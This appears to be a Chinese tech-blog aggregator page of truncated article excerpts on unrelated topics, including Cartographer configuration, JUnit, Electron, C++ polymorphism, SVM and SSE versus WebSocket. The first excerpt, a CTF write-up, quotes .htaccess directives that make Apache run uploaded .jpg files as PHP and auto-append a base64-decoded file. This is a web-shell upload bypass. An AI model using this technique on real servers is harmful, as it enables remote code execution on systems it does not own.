1、题目 2、经过测试.htaccess绕过 三行代码解析： 将上传的.jpg文件解析成php文件 auto_append_file包含上传的文件 将上传的文件进行解码 AddType application/x-httpd-php .jpg php_value auto_append_fi\ le "php://filter/convert.base64-decode/resourc…

0开始配置Cartographer 日期：12-19 硬件：激光雷达IMU 小车的tf变换： 建图配置 lua文件配置：my_robot.lua include "map_builder.lua" include "trajectory_builder.lua"options {map_builder MAP_BUILDE…

JUnit是一个开源的 Java 单元测试框架，它使得组织和运行测试代码变得非常简单，利用JUnit可以轻松地编写和执行单元测试，并且可以清楚地看到哪些测试成功，哪些失败 JUnit 还提供了生成测试报告的功能，报告不仅包含测试…

项目用的是An Electron application with Vue3 and TypeScript。 Debug运行项目没问题，可以显示页面。不过有浏览器控制台显示错误： Unable to load preload script：preload/index.js Unable to load preload script 翻译后：无法…

多态 一、多态的概念二、多态的定义及实现2.1 构成多态的两个硬性条件2.2 虚函数的重写2.2.1 协变(基类与派生类虚函数返回值类型不同)2.2.2 析构函数的重写(基类与派生类析构函数的名字不同) 2.3 final和override2.4 重载、覆盖（重写）、隐藏&#xff08…

支持向量机（Support Vector Machine，SVM）是一种用于分类和回归分析的监督学习算法。它属于机器学习中的一类强大而灵活的模型，广泛应用于模式识别、图像分类、自然语言处理等领域。 基本原理: SVM的基本原理是通过找到能够有效分…

在我们日常使用服务器的过程中，当公司的网站服务器被黑客入侵时，导致整个网站以及业务系统瘫痪，将会给企业带来无法估量的损失。作为服务器的维护人员应当在第一时间做好安全响应，对入侵问题做到及时处理，以最快的时间…

面对 Server-Sent Events (SSE) 推送不稳定的情况时，可以考虑切换到 WebSocket。SSE 和 WebSocket 都是现代Web应用中用于实现实时通信的技术，但它们有各自的优缺点和最适用的场景。 Server-Sent Events (SSE) 优点 简单性：SSE 在使用上比…